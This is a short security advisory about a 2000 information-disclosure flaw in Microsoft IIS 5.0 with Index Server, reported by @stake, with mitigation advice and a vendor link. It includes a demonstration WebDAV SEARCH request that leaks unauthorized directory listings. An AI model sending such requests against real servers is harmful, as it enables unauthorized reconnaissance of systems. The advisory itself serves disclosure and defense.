Directory Listings can be Obtained From Microsoft IIS Server


Reported October 4, 2000 by @stake

VERSIONS AFFECTED
  • Internet Information Server 5.0 with Microsoft Index Server

DESCRIPTION

Microsoft Internet Information Server 5.0, with Microsoft Index Server installed has been found to be vulnerable to an exploit that allows unauthorized directory listings to be leaked.

DEMONSTRATION

It is important to note that Microsoft Index Server must be installed in order for this exploit to work.  As provided by @stake, the following request could allow a malicious user to obtain directory listings from directories that are not normally available;

SEARCH /HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Content-Length: 133




Select "DAV:displayname" from scope ()

VENDOR RESPONSE

Microsoft has released a knowledge base article available at;  http://www.microsoft.com/technet/support/kb.asp?ID=272079

It is also recommended that if Index Server is required that any sensitive files be stored on directories that are not indexed or have READ permissions removed.

CREDIT
Discovered by
@stake

Hide comments

Comments

  • Allowed HTML tags: <em> <strong> <blockquote> <br> <p>

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.
Publish